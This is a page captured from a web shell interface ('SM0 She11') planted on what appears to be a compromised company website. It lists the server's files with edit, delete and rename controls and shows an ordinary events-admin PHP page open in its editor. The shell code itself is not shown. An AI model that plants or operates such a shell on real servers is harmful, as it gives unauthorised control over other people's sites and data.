SM0 She11
Path:
/
/
home
/
saienerg
/
public_html
Full Path (server): /home/saienerg/public_html
Create Fil3
Upl04d Fil3
📄 .DS_Store
[E]
[D]
[R]
📄 .ftpquota
[E]
[D]
[R]
📄 .htaccess
[E]
[D]
[R]
📄 .htaccessold
[E]
[D]
[R]
📄 .user.ini
[E]
[D]
[R]
📁 SpryAssets
Open
[D]
[R]
📄 about-ramesh.php
[E]
[D]
[R]
📄 about-sivakumar.php
[E]
[D]
[R]
📄 about-thangaraju.php
[E]
[D]
[R]
📄 about-venkat.php
[E]
[D]
[R]
📄 aboutus.php
[E]
[D]
[R]
📄 affected.zip
[E]
[D]
[R]
📄 careercopy.php
[E]
[D]
[R]
📄 careerpost.php
[E]
[D]
[R]
📄 careers.php
[E]
[D]
[R]
📄 careersapplynow.php
[E]
[D]
[R]
📄 careerslocation.php
[E]
[D]
[R]
📄 cat-photo.php
[E]
[D]
[R]
📄 class.phpmailer.php
[E]
[D]
[R]
📄 class.smtp.php
[E]
[D]
[R]
📄 clients.php
[E]
[D]
[R]
📄 cmn_lib.php
[E]
[D]
[R]
📄 contactus.php
[E]
[D]
[R]
📁 css
Open
[D]
[R]
📁 demo
Open
[D]
[R]
📄 enquiry-omservice.php
[E]
[D]
[R]
📄 enquiry-otherservice.php
[E]
[D]
[R]
📁 enquiryupload
Open
[D]
[R]
📄 error_log
[E]
[D]
[R]
📄 event-details.php
[E]
[D]
[R]
📄 eventslist.php
[E]
[D]
[R]
📁 fonts
Open
[D]
[R]
📄 gallery-album.php
[E]
[D]
[R]
📄 gallery-photo.php
[E]
[D]
[R]
📄 gallery-video.php
[E]
[D]
[R]
📄 google11bb5e94a094932d.html
[E]
[D]
[R]
📁 images
Open
[D]
[R]
📁 img
Open
[D]
[R]
📁 include
Open
[D]
[R]
📄 index.html
[E]
[D]
[R]
📄 index.php
[E]
[D]
[R]
📄 index1.php
[E]
[D]
[R]
📁 intra
Open
[D]
[R]
📁 js
Open
[D]
[R]
📄 mail.php
[E]
[D]
[R]
📄 peformance_archives.php
[E]
[D]
[R]
📄 per-articles.php
[E]
[D]
[R]
📄 per-experiencelist-pre-OEM.php
[E]
[D]
[R]
📄 per-experiencelist-pre-direct.php
[E]
[D]
[R]
📄 per-experiencelist-services-dis.php
[E]
[D]
[R]
📄 per-experiencelist-services-energy.php
[E]
[D]
[R]
📄 per-experiencelist-services-special.php
[E]
[D]
[R]
📄 per-experiencelist-services-trou.php
[E]
[D]
[R]
📄 per-experiencelist.php
[E]
[D]
[R]
📄 per-listofcurrent.php
[E]
[D]
[R]
📄 per-monthlyperform.php
[E]
[D]
[R]
📄 per-servicecap.php
[E]
[D]
[R]
📄 php.ini
[E]
[D]
[R]
📄 products-details.php
[E]
[D]
[R]
📄 products-details1.php
[E]
[D]
[R]
📄 products.php
[E]
[D]
[R]
📄 products1.php
[E]
[D]
[R]
📄 products_old.php
[E]
[D]
[R]
📄 service.php
[E]
[D]
[R]
📄 site.js
[E]
[D]
[R]
📄 site.php
[E]
[D]
[R]
📄 ssl.php
[E]
[D]
[R]
📄 testmail.php
[E]
[D]
[R]
📄 top-footertop.php
[E]
[D]
[R]
📄 top-side-serviceslist.php
[E]
[D]
[R]
Editing: eventslist.php
<!doctype html> <html lang="en"> <head> <?php include('../header.php'); ?> </head> <body> <div class="wrapper"> <?php include('../sidebar.php'); ?> <div class="main-panel"> <?php include('../top_nav.php'); ?> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-6"><div class="header"> <h3 class="adtt">Add Events List</h3> </div> </div> <div class="col-md-6"> <ul class="breadcrumb"> <li><a>Masters</a></li> <li class="active" ><a >Events List</a></li> </ul> </div> </div> <!--------add------> <!-----List--------> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="header"> <h3 class="lstt">Events List</h3> </div> <div class="content"> <div class="row"> <div class="col-md-12"> <table id="example" class="table table-striped table-bordered" style="width:100%"> <thead class="thd"> <tr> <th width="5%">S.No.</th> <th width="20%">Event Category</th> <th width="20%">Event Title</th> <th width="36%">Title Image</th> <th width="45%">Description</th> <th width="10%">Options</th> </tr> </thead> <tbody> <?php $tsql="select * from events_list where status!='-1' order by evn_id DESC "; $tqry=mysqli_query($idb,$tsql)or die(mysqli_error()); if(mysqli_num_rows($tqry)>0) { $sno=1; while($row=mysqli_fetch_array($tqry)) { $evn_id=$row['evn_id']; $cat_id=$row['ecat_id']; ?> <tr> <td> <input name="revn_id" id="revn_id" value="<?php echo $evn_id ?>" type="hidden"> <?php echo $sno?></td> <td><?php echo $obj->get_event_category($cat_id); ?></td> <td><?php echo $row['title']; ?></td> <td align="center"> <img style="width:90%" src="../assets/images/events/<?php echo $row['title_image']; ?>" >;</td> <td style="max-width:150px;word-wrap:break-word;"><?php echo $row['descr']; ?></td> <td align="center"> <button type="button" title="Edit" data-id="<?php echo $row['evn_id']; ?>" class="btn btn-edit btn-fill edit_btn" data-original-title="Edit" ><i class="glyphicon glyphicon-edit"></i></button> <button title="Delete" class="btn btn-danger btn-fill del_btn" data-id="<?php echo $row['evn_id']; ?>" type="submit" data-original-title="Delete" ><i class="glyphicon glyphicon-trash"></i></button> <button title="View" class="btn btn-info btn-fill view_btn" data-id="<?php echo $row['evn_id']; ?>" type="submit" ><i class="glyphicon glyphicon-eye-open"></i></button> </td> </tr> <?php $sno=$sno+1; } } ?> </tbody> </table> </div> </div> </div> </div> </div> </div> </div> </div> <!-----------//-------------------> <?php include('../footer.php'); ?> </div> </div> <div class="modal fade" id="viewModal" tabindex="-1" role="dialog"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title" id="defaultModalLabel">View Event Details</h4> </div> <div class="modal-body"> </div> <div class="modal-footer"> <button class="btn btn-danger btn-fill" type="button" id="cncl1" data-dismiss="modal" > <i class="glyphicon glyphicon-remove-sign"></i><span> Close</span></button> </div> </form> </div> </div> </div> <?php include('../foo_scripts.php'); ?> </body> </html> <script type="text/javascript" src="../includes/js/gallery.js"> </script> <script type="text/javascript"> ///modal box $(document).ready(function() { var table = $('#example').DataTable( { "ordering": false // responsive: true } ); ///cancel $('#cncl,#cncl1').click(function(){ window.location.href ="eventslist.php"; }); }); $(document).on("click",".edit_btn", function () { var id=$(this).attr("data-id"); window.location.href='editevent.php?evn='+id; }); $(document).on("click",".view_btn", function () { var id=$(this).attr("data-id"); $('#viewModal .modal-body ').load('load_event.php?id='+id,function(){ $('#viewModal').modal({show:true}); }); }); $(document).on("click",".del_btn", function () { //$('#rpt_tbl').on( 'click', '.del_btn', function (e) { var id=$(this).attr("data-id"); if (confirm("Do you want to Confirm \u275B Delete \u275C ?") ) { $.ajax({ url:"gallery_sql.php", data: { evn_del: id }, type:'GET', success:function(result) { if(result== '1') { alert('Record Deleted Sucessfully!'); window.location.href='eventslist.php'; //location.reload(); }else { alert('Operation Failed!'); return false; } } }); } }); </script>
Save